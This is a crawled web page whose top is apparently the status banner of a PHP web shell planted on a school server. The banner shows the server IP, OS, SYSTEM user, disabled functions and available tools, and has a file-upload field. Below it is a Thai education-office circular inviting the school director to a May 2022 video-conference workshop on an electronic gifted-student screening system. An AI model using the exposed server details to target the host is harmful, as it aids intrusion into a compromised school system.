| Server IP : 104.21.80.248 / Your IP : 162.159.115.41 Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30 System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586 User : SYSTEM ( 0) PHP Version : 5.6.30 Disable Function : NONE MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : E:/Inetpub/www/myschool/suanphung/data/tkk2text/ |
Upload File : |
<p>เรียน ผู้อำนวยการโรงเรียนสวนผึ้งวิทยา</p> <p> ด้วย สำนักงานคณะกรรมการการศึกษาขั้นพื้นฐาน ดำเนินโครงการพัฒนาและเสริมสร้าง ศักยภาพนักเรียนผู้มีความสามารถพิเศษบนฐานพหุปัญญา เพื่อพัฒนาระบบบริหารจัดการระบบคัดกรองและส่งต่อเพื่อพัฒนาและเสริมสร้างศักยภาพนักเรียนผู้มีความสามารถพิเศษบนฐานพหุปัญญา ซึ่งได้ดำเนิน การจัดทำระบบสำรวจแววความสามรถพิเศษด้วยระบบอิเล็กทรอนิกส์ เพื่อใช้คัดกรองความสามารถพิเศษ บนฐานพหุปัญญาของนักเรียนรายบุคคล จึงได้กำหนดจัดประชุมเชิงปฏิบัติการการใช้งานระบบสำรวจแววความสามารถพิเศษด้วยระบบอิเล็กทรอนิกส์ ผ่านระบบทางไกลผ่านจอภาพ (Video conference) ในวันจันทร์ที่ ๙ พฤษภาคม ๒๕๖๕ เวลา ๐๘.๓๐ น. ถึง ๑๒.๑๕ น. เพื่อชี้แจงแนวทางการดำเนินงานโครงการ พัฒนาและเสริมสร้างศักยภาพนักเรียนผู้มีความสามารถพิเศษบนฐานพหุปัญญา และชี้แจงการใช้งานระบบ สำรวจแววความสามารถพิเศษด้วยระบบอิเล็กทรอนิกส์ให้กับสำนักงานเขตพื้นที่การศึกษา ผู้อำนวยการ สถานศึกษา และครู ได้รับทราบขั้นตอนและเริ่มเข้าใช้งานระบบดังกล่าวในการคัดกรองนักเรียนระดับ ชั้นประถมศึกษาปีที่ ๓ ถึงระดับชั้นมัธยมศึกษาปีที่ ๖ เพื่อน าข้อมูลที่ได้จากการคัดกรองนักเรียนดังกล่าว รายงานข้อมูลตามตัวชี้วัดที่ ๑๖ ร้อยละของสถานศึกษา ที่สามารถจัดการเรียนการสอนตามพหุปัญญา และตัวชี้วัดที่ ๑๙ ร้อยละของนักเรียนที่ได้รับการคัดกรอง เพื่อพัฒนาพหุปัญญารายบุคคล ของสำนักติดตาม และประเมินผลการศึกษาขั้นพื้นฐาน</p> <p> ในการนี้ สำนักงานเขตพื้นที่การศึกษามัธยมศึกษาราชบุรี ขอแจ้งให้ผู้บริหารสถานศึกษา และครูผู้รับผิดชอบ เข้าร่วมประชุมเชิงปฏิบัติการการใช้งานระบบสำรวจแววความสามารถพิเศษด้วยระบบ อิเล็กทรอนิกส์ ในวัน เวลา ดังกล่าวข้างต้น ผ่านระบบทางไกลผ่านจอภาพ (Video conference Obec Channel) หรือ QR Code (ดังสิ่งที่ส่งมาด้วย ๓)</p> <p> จึงเรียนมาเพื่อทราบและดำเนินการต่อไป </p>